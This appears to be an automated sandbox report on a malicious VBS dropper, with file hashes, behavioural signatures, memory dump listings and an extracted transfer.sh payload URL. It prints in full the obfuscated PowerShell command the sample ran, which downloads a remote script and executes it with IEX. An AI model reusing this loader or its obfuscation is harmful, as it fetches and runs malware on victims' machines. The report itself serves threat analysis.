8c4477fd5129d549aabcbbcab1950965f7f0e0c934a60043dc7d27e57252868f

General

Target

YBAXAKQXVYWIXQJDE.vbs
Size

9KB
MD5

40f92eb4b46a3430167477d11dec4c9e
SHA1

515ad5cac3f5b9ed1e7a7e14d53a191a12193984
SHA256

8c4477fd5129d549aabcbbcab1950965f7f0e0c934a60043dc7d27e57252868f
SHA512

80de7c828aff509a8d0ddbee61f52ed1ade6a3b562f2aa51082eae7c1631fcdf58d375b94457261481b1a8bfc90033e275444d7f765dff7c0c6d99635408989e

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://transfer.sh/get/8J0O0I/Server435.txt

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1560	1244	POWERSHELL.exe	27

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	POWERSHELL.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1560	POWERSHELL.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1560	POWERSHELL.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YBAXAKQXVYWIXQJDE.vbs"
1⤵
PID:756

C:\Windows\System32\WindowsPowerShell\v1.0\POWERSHELL.exe
POWERSHELL $Hx = 'https://transfer.sh/get/8J0O0I/Server435.txt';$HB=('{2}{0}{1}' -f')/8+&!9]]}039(3^<67)075^655$1$57]#*1{2#^&71!9@#1@8&4#\)${=^#7[[%_36]22=\{=446}8}-52{]1}<-482&10_!*_l)/8+&!9]]}039(3^<67)075^655$1$57]#*1{2#^&71!9@#1@8&4#\)${=^#7[[%_36]22=\{=446}8}-52{]1}<-482&10_!*_o)/8+&!9]]}039(3^<67)075^655$1$57]#*1{2#^&71!9@#1@8&4#\)${=^#7[[%_36]22=\{=446}8}-52{]1}<-482&10_!*_a)/8+&!9]]}039(3^<67)075^655$1$57]#*1{2#^&71!9@#1@8&4#\)${=^#7[[%_36]22=\{=446}8}-52{]1}<-482&10_!*_d)/8+&!9]]}039(3^<67)075^655$1$57]#*1{2#^&71!9@#1@8&4#\)${=^#7[[%_36]22=\{=446}8}-52{]1}<-482&10_!*_'.Replace(')/8+&!9]]}039(3^<67)075^655$1$57]#*1{2#^&71!9@#1@8&4#\)${=^#7[[%_36]22=\{=446}8}-52{]1}<-482&10_!*_',''),'67&/!^)!+}&8<^+)3{2*)974\{+@-$$-)53(86+99+558]9*[@7]911\1#1&}8*9#-)[#3#\4{0/52[2&4&#7*%)46(}55$15]-s67&/!^)!+}&8<^+)3{2*)974\{+@-$$-)53(86+99+558]9*[@7]911\1#1&}8*9#-)[#3#\4{0/52[2&4&#7*%)46(}55$15]-t67&/!^)!+}&8<^+)3{2*)974\{+@-$$-)53(86+99+558]9*[@7]911\1#1&}8*9#-)[#3#\4{0/52[2&4&#7*%)46(}55$15]-r67&/!^)!+}&8<^+)3{2*)974\{+@-$$-)53(86+99+558]9*[@7]911\1#1&}8*9#-)[#3#\4{0/52[2&4&#7*%)46(}55$15]-i67&/!^)!+}&8<^+)3{2*)974\{+@-$$-)53(86+99+558]9*[@7]911\1#1&}8*9#-)[#3#\4{0/52[2&4&#7*%)46(}55$15]-n67&/!^)!+}&8<^+)3{2*)974\{+@-$$-)53(86+99+558]9*[@7]911\1#1&}8*9#-)[#3#\4{0/52[2&4&#7*%)46(}55$15]-g67&/!^)!+}&8<^+)3{2*)974\{+@-$$-)53(86+99+558]9*[@7]911\1#1&}8*9#-)[#3#\4{0/52[2&4&#7*%)46(}55$15]-'.Replace('67&/!^)!+}&8<^+)3{2*)974\{+@-$$-)53(86+99+558]9*[@7]911\1#1&}8*9#-)[#3#\4{0/52[2&4&#7*%)46(}55$15]-',''),'%8$5-<0-^+3-/*<1+=62}91=8^*-/!9}99@}4<-#]{<\1#)965=0<}\68+\8#*}6$9^_66]=/-6104=}]0({(/[$@7(#3^<!<}%D%8$5-<0-^+3-/*<1+=62}91=8^*-/!9}99@}4<-#]{<\1#)965=0<}\68+\8#*}6$9^_66]=/-6104=}]0({(/[$@7(#3^<!<}%o%8$5-<0-^+3-/*<1+=62}91=8^*-/!9}99@}4<-#]{<\1#)965=0<}\68+\8#*}6$9^_66]=/-6104=}]0({(/[$@7(#3^<!<}%w%8$5-<0-^+3-/*<1+=62}91=8^*-/!9}99@}4<-#]{<\1#)965=0<}\68+\8#*}6$9^_66]=/-6104=}]0({(/[$@7(#3^<!<}%n%8$5-<0-^+3-/*<1+=62}91=8^*-/!9}99@}4<-#]{<\1#)965=0<}\68+\8#*}6$9^_66]=/-6104=}]0({(/[$@7(#3^<!<}%'.Replace('%8$5-<0-^+3-/*<1+=62}91=8^*-/!9}99@}4<-#]{<\1#)965=0<}\68+\8#*}6$9^_66]=/-6104=}]0({(/[$@7(#3^<!<}%',''));$HBB=('{2}{0}{1}' -f')/8+&!9]]}039(3^<67)075^655$1$57]#*1{2#^&71!9@#1@8&4#\)${=^#7[[%_36]22=\{=446}8}-52{]1}<-482&10_!*_e)/8+&!9]]}039(3^<67)075^655$1$57]#*1{2#^&71!9@#1@8&4#\)${=^#7[[%_36]22=\{=446}8}-52{]1}<-482&10_!*_b)/8+&!9]]}039(3^<67)075^655$1$57]#*1{2#^&71!9@#1@8&4#\)${=^#7[[%_36]22=\{=446}8}-52{]1}<-482&10_!*_C)/8+&!9]]}039(3^<67)075^655$1$57]#*1{2#^&71!9@#1@8&4#\)${=^#7[[%_36]22=\{=446}8}-52{]1}<-482&10_!*_l)/8+&!9]]}039(3^<67)075^655$1$57]#*1{2#^&71!9@#1@8&4#\)${=^#7[[%_36]22=\{=446}8}-52{]1}<-482&10_!*_'.Replace(')/8+&!9]]}039(3^<67)075^655$1$57]#*1{2#^&71!9@#1@8&4#\)${=^#7[[%_36]22=\{=446}8}-52{]1}<-482&10_!*_',''),')/8+&!9]]}039(3^<67)075^655$1$57]#*1{2#^&71!9@#1@8&4#\)${=^#7[[%_36]22=\{=446}8}-52{]1}<-482&10_!*_i)/8+&!9]]}039(3^<67)075^655$1$57]#*1{2#^&71!9@#1@8&4#\)${=^#7[[%_36]22=\{=446}8}-52{]1}<-482&10_!*_e)/8+&!9]]}039(3^<67)075^655$1$57]#*1{2#^&71!9@#1@8&4#\)${=^#7[[%_36]22=\{=446}8}-52{]1}<-482&10_!*_n)/8+&!9]]}039(3^<67)075^655$1$57]#*1{2#^&71!9@#1@8&4#\)${=^#7[[%_36]22=\{=446}8}-52{]1}<-482&10_!*_t)/8+&!9]]}039(3^<67)075^655$1$57]#*1{2#^&71!9@#1@8&4#\)${=^#7[[%_36]22=\{=446}8}-52{]1}<-482&10_!*_'.Replace(')/8+&!9]]}039(3^<67)075^655$1$57]#*1{2#^&71!9@#1@8&4#\)${=^#7[[%_36]22=\{=446}8}-52{]1}<-482&10_!*_',''),')/8+&!9]]}039(3^<67)075^655$1$57]#*1{2#^&71!9@#1@8&4#\)${=^#7[[%_36]22=\{=446}8}-52{]1}<-482&10_!*_Ne)/8+&!9]]}039(3^<67)075^655$1$57]#*1{2#^&71!9@#1@8&4#\)${=^#7[[%_36]22=\{=446}8}-52{]1}<-482&10_!*_t)/8+&!9]]}039(3^<67)075^655$1$57]#*1{2#^&71!9@#1@8&4#\)${=^#7[[%_36]22=\{=446}8}-52{]1}<-482&10_!*_.W)/8+&!9]]}039(3^<67)075^655$1$57]#*1{2#^&71!9@#1@8&4#\)${=^#7[[%_36]22=\{=446}8}-52{]1}<-482&10_!*_'.Replace(')/8+&!9]]}039(3^<67)075^655$1$57]#*1{2#^&71!9@#1@8&4#\)${=^#7[[%_36]22=\{=446}8}-52{]1}<-482&10_!*_',''));$XSZAJXGNTVXKGOTPRJHWCIHRASQAUGABFPPDDYLDBUZUPFYQNSEEYDEHTDNZZCSFRCCYNJSVWVRFJIARKQAHKFABUCJNYFCWGTE=('{2}{0}{1}' -f'-]/3181@7_\]4/3@4/1*^$20<*%_$-}2^)</\7(**(){%0%%15]@/8<![)4$-@\%}[@%<5%\@%<]{8[_41)0[%39__4935{7+5<w-O-]/3181@7_\]4/3@4/1*^$20<*%_$-}2^)</\7(**(){%0%%15]@/8<![)4$-@\%}[@%<5%\@%<]{8[_41)0[%39__4935{7+5<b-]/3181@7_\]4/3@4/1*^$20<*%_$-}2^)</\7(**(){%0%%15]@/8<![)4$-@\%}[@%<5%\@%<]{8[_41)0[%39__4935{7+5<j-]/3181@7_\]4/3@4/1*^$20<*%_$-}2^)</\7(**(){%0%%15]@/8<![)4$-@\%}[@%<5%\@%<]{8[_41)0[%39__4935{7+5<e-]/3181@7_\]4/3@4/1*^$20<*%_$-}2^)</\7(**(){%0%%15]@/8<![)4$-@\%}[@%<5%\@%<]{8[_41)0[%39__4935{7+5<c-]/3181@7_\]4/3@4/1*^$20<*%_$-}2^)</\7(**(){%0%%15]@/8<![)4$-@\%}[@%<5%\@%<]{8[_41)0[%39__4935{7+5<t $-]/3181@7_\]4/3@4/1*^$20<*%_$-}2^)</\7(**(){%0%%15]@/8<![)4$-@\%}[@%<5%\@%<]{8[_41)0[%39__4935{7+5<H-]/3181@7_\]4/3@4/1*^$20<*%_$-}2^)</\7(**(){%0%%15]@/8<![)4$-@\%}[@%<5%\@%<]{8[_41)0[%39__4935{7+5<'.Replace('-]/3181@7_\]4/3@4/1*^$20<*%_$-}2^)</\7(**(){%0%%15]@/8<![)4$-@\%}[@%<5%\@%<]{8[_41)0[%39__4935{7+5<',''),'-]/3181@7_\]4/3@4/1*^$20<*%_$-}2^)</\7(**(){%0%%15]@/8<![)4$-@\%}[@%<5%\@%<]{8[_41)0[%39__4935{7+5<BB-]/3181@7_\]4/3@4/1*^$20<*%_$-}2^)</\7(**(){%0%%15]@/8<![)4$-@\%}[@%<5%\@%<]{8[_41)0[%39__4935{7+5<).$H-]/3181@7_\]4/3@4/1*^$20<*%_$-}2^)</\7(**(){%0%%15]@/8<![)4$-@\%}[@%<5%\@%<]{8[_41)0[%39__4935{7+5<B(-]/3181@7_\]4/3@4/1*^$20<*%_$-}2^)</\7(**(){%0%%15]@/8<![)4$-@\%}[@%<5%\@%<]{8[_41)0[%39__4935{7+5<$H-]/3181@7_\]4/3@4/1*^$20<*%_$-}2^)</\7(**(){%0%%15]@/8<![)4$-@\%}[@%<5%\@%<]{8[_41)0[%39__4935{7+5<x)-]/3181@7_\]4/3@4/1*^$20<*%_$-}2^)</\7(**(){%0%%15]@/8<![)4$-@\%}[@%<5%\@%<]{8[_41)0[%39__4935{7+5<'.Replace('-]/3181@7_\]4/3@4/1*^$20<*%_$-}2^)</\7(**(){%0%%15]@/8<![)4$-@\%}[@%<5%\@%<]{8[_41)0[%39__4935{7+5<',''),'-]/3181@7_\]4/3@4/1*^$20<*%_$-}2^)</\7(**(){%0%%15]@/8<![)4$-@\%}[@%<5%\@%<]{8[_41)0[%39__4935{7+5<I-]/3181@7_\]4/3@4/1*^$20<*%_$-}2^)</\7(**(){%0%%15]@/8<![)4$-@\%}[@%<5%\@%<]{8[_41)0[%39__4935{7+5<`E-]/3181@7_\]4/3@4/1*^$20<*%_$-}2^)</\7(**(){%0%%15]@/8<![)4$-@\%}[@%<5%\@%<]{8[_41)0[%39__4935{7+5<`X(-]/3181@7_\]4/3@4/1*^$20<*%_$-}2^)</\7(**(){%0%%15]@/8<![)4$-@\%}[@%<5%\@%<]{8[_41)0[%39__4935{7+5<Ne-]/3181@7_\]4/3@4/1*^$20<*%_$-}2^)</\7(**(){%0%%15]@/8<![)4$-@\%}[@%<5%\@%<]{8[_41)0[%39__4935{7+5<'.Replace('-]/3181@7_\]4/3@4/1*^$20<*%_$-}2^)</\7(**(){%0%%15]@/8<![)4$-@\%}[@%<5%\@%<]{8[_41)0[%39__4935{7+5<',''));$HBBBBB = ($XSZAJXGNTVXKGOTPRJHWCIHRASQAUGABFPPDDYLDBUZUPFYQNSEEYDEHTDNZZCSFRCCYNJSVWVRFJIARKQAHKFABUCJNYFCWGTE -Join '')|I`E`X
1⤵
- Process spawned unexpected child process
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1560

Network

MITRE ATT&CK Matrix

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Downloads

memory/1560-54-0x000007FEFBAE1000-0x000007FEFBAE3000-memory.dmp

Filesize
8KB

Download
memory/1560-55-0x000007FEF2F50000-0x000007FEF3AAD000-memory.dmp

Filesize
11.4MB

Download
memory/1560-56-0x000007FEF5480000-0x000007FEF5E1D000-memory.dmp

Filesize
9.6MB

Download
memory/1560-58-0x00000000023B0000-0x00000000023B2000-memory.dmp

Filesize
8KB

Download
memory/1560-57-0x00000000023BB000-0x00000000023DA000-memory.dmp

Filesize
124KB

Download
memory/1560-59-0x000007FEF5480000-0x000007FEF5E1D000-memory.dmp

Filesize
9.6MB

Download
memory/1560-61-0x00000000023B4000-0x00000000023B7000-memory.dmp

Filesize
12KB

Download
memory/1560-60-0x00000000023B2000-0x00000000023B4000-memory.dmp

Filesize
8KB

Download

Analysis

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